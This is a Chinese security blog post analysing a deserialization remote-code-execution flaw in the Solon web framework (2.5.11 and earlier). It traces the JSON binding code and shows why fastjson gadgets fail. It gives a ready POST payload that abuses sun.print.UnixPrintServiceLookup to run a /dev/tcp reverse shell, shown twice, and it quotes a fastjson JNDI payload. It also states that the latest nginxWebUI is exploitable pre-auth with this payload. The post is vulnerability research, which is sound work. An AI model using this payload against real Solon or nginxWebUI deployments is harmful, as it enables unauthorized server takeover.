前言
上次看到星球有提到过solon这个国产的web框架,自己后面又看了下,发现在2.5.11及之下的版本对json的解析都有类似fastjosn的特点,可以达成在linux下&jdk环境中的RCE
环境搭建
直接使用官方的示例 https://solon.noear.org/start/build.do?artifact=helloworld_jdk8&project=maven&javaVer=1.8
修改pom.xml的solon-parent版本为2.5.11(存在漏洞的版本)
然后注意必须要在linux&&jdk环境下启动
漏洞触发的条件很简单,只要有接收参数的任意路由即可
POC
直接post发送如下json数据即可RCE
// 反弹shell
{
"name": {
"@type": "sun.print.UnixPrintServiceLookup",
"lpcFirstCom": [
";sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1;",
";sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1;"
]
}
}
漏洞分析
先看看solon是怎么处理json数据的参数绑定的
直接在hello路由下断点,然后往前跟踪调用栈
我们直接发送json格式的数据
从这里往上找参数绑定的调用栈
可以看到在 org.noear.solon.core.handle.ActionExecuteHandlerDefault#executeHandle
这里调用执行了mWrap.invokeByAspect(obj, args.toArray())
从而调用我们自定义的 com.example.demo.DemoController#hello
方法,而在上面的29行执行 buildArgs(ctx, obj, mWrap)
,从名子就能看出来是用于参数绑定
我们跟进这个参数绑定的方法
buildArgs中先是会对接收到的数据进行 changeBody 处理
当我们传的是json数据时会做一个json解析,得到一个ONode对象
后续回到 buildArgs
则是对hello路由方法的参数取得类型,并根据类型做相应的处理
后续来到 this
.changeValue
这里
有一些判断,检验是否有 hello 方法对应的参数
继续跟进来到关键的 toObject
方法中
一路跟进来到 org.noear.snack.to.ObjectToer#analyse
中,这里会对我们的 ONode 对象做一些特殊处理
这里有两个点要过,由于我们传入的json是 {"name":"pankas"}
,所以这里流程会走到正常的字符串处理,clz
的值为 java.lang.String
我们发送这样的json看看后续会怎么处理
{"name":{}}
修改后来到 clz = this.getTypeByNode(ctx, o, clz);
跟进,在 org.noear.snack.to.ObjectToer#getTypeByNode
方法中可以看到,当类型为 Object 时,会取其中键为 @type
的值来进行一个类的加载
这里我们先随便给一个类看看
{"name":{"@type":"com.sun.rowset.JdbcRowSetImpl"}}
可以看到确实进行了一个类加载
后续看看是怎么处理这个 clz 的
后续在一个 switch case后,会来到一个 Object的处理位置
...
...
case Object:
o.remove(ctx.options.getTypePropertyName());
if (Properties.class.isAssignableFrom(clz)) {
return this.analyseProps(ctx, o, (Properties)rst, clz, type, genericInfo);
} else if (Map.class.isAssignableFrom(clz)) {
return this.analyseMap(ctx, o, clz, type, genericInfo);
} else {
if (StackTraceElement.class.isAssignableFrom(clz)) {
String declaringClass = o.get("declaringClass").getString();
if (declaringClass == null) {
declaringClass = o.get("className").getString();
}
return new StackTraceElement(declaringClass, o.get("methodName").getString(), o.get("fileName").getString(), o.get("lineNumber").getInt());
}
if (type instanceof ParameterizedType) {
genericInfo = GenericUtil.getGenericInfo(type);
}
return this.analyseBean(ctx, o, rst, clz, type, genericInfo);
}
...
...
这里我们直接来到最后的 this
.analyseBean(ctx, o, rst, clz, type, genericInfo);
这里就能发现对上面获取到的 clz 进行看实例化
后续会判断我们传入的对象中是否有对应属性的值,如果存在则会进行一个赋值
赋值这里关键要看目标类中有哪些属性,不同于fastjson的是这里赋值并不会调用对象的 setter
或 getter
方法
这里目标类的获取首先也是从缓存中获取,先来看看第一次加载目标类是如何处理包装的
跟进 ClassWrap.get(clz)
在 ClassWrap
的构造方法中会调用 this
.scanAllFields(clz, map::containsKey, map::put)
对目标类进行一个扫描
/**
* 扫描一个类的所有字段
*/
private void scanAllFields(Class<?> clz, Predicate<String> checker, BiConsumer<String, FieldWrap> consumer) {
if (clz == null) {
return;
}
for (Field f : clz.getDeclaredFields()) {
int mod = f.getModifiers();
if (!Modifier.isStatic(mod)
&& !Modifier.isTransient(mod)) {
if(_isMemberClass && f.getName().equals("this$0")){
continue;
}
if (checker.test(f.getName()) == false) {
_recordable &= Modifier.isFinal(mod);
consumer.accept(f.getName(), new FieldWrap(clz, f, Modifier.isFinal(mod)));
}
}
}
Class<?> sup = clz.getSuperclass();
if (sup != Object.class) {
scanAllFields(sup, checker, consumer);
}
}
可以看到,我们最终所获得的 Field 是目标类中的非静态变量
继续往下,看看是怎么对我们所创建的对象进行赋值的
...
...
for (FieldWrap f : clzWrap.fieldAllWraps()) {
if (f.isDeserialize() == false) {
continue;
}
String fieldK = f.getName();
if (excNames != null && excNames.contains(fieldK)) {
continue;
}
if (o.contains(fieldK)) {
Class fieldT = f.type;
Type fieldGt = f.genericType;
if (f.readonly) {
analyseBeanOfValue(fieldK, fieldT, fieldGt, ctx, o, f.getValue(rst), genericInfo);
} else {
Object val = analyseBeanOfValue(fieldK, fieldT, fieldGt, ctx, o, f.getValue(rst), genericInfo);
if (val == null) {
//null string 是否以 空字符处理
if (ctx.options.hasFeature(Feature.StringFieldInitEmpty) && f.type == String.class) {
val = "";
}
}
f.setValue(rst, val, disSetter);
}
}
}
...
...
先随便给个值 {"name":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSource":"pankas"}}
(中间还有一些递归处理json对象嵌套流程省略,代码很清晰,可以自己看看)
进入 f.setValue(rst, val, disSetter);
这里也是比较简单,如果有对应的 setter 则用对应的 setter 进行赋值,没有则使用反射进行赋值
所以整个json的解析和fastjson是比较相似的,那为什么不能使用fastjson的payload直接打呢
原因是这里赋值的前提条件时目标对象必须要有对应的字段才可以
比如说这里经典的fastjson的payload
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}
由于目标对象中并没有 dataSourceName
或 autoCommit
属性,所以并不会调用其 setter
方法,所以这算是一个很大的限制。
那有没有能利用的类呢,刚好有一个,就是 sun.print.UnixPrintServiceLookup
这个类,关于这个类网上都有很多的资料了,这里不过多做解释
sun.print.UnixPrintServiceLookup
在实例化时会开启一个线程循环执行 UnixPrintServiceLookup.
this
.refreshServices();
在linux下会执行到 this
.getDefaultPrinterNameBSD();
方法
其中存在大量的命令拼接及执行操作
所以这里我们直接覆盖修改 lpcFirstCom
属性即可
最终我们的payload就是
// 反弹shell
{
"name": {
"@type": "sun.print.UnixPrintServiceLookup",
"lpcFirstCom": [
";sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1;",
";sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1;"
]
}
}
最新版 nginxWebUI(v4.2.2) 前台RCE
后面又看了下有哪些使用了比较老版本的solon,发现nginxWebUI 的solon版本是2.4.5,刚好是存在漏洞的版本。
但使用官方的docker镜像环境发现RCE失败了,原因是默认是使用jre环境,找不到 sun.print.UnixPrintServiceLookup
这个类,所以限制其实还蛮大的(看看其他师傅们有没有办法解决这个问题)
所以这个洞也只能是在jdk环境下启动才行
使用jdk环境下启动nginxWebUi发现就能正常RCE了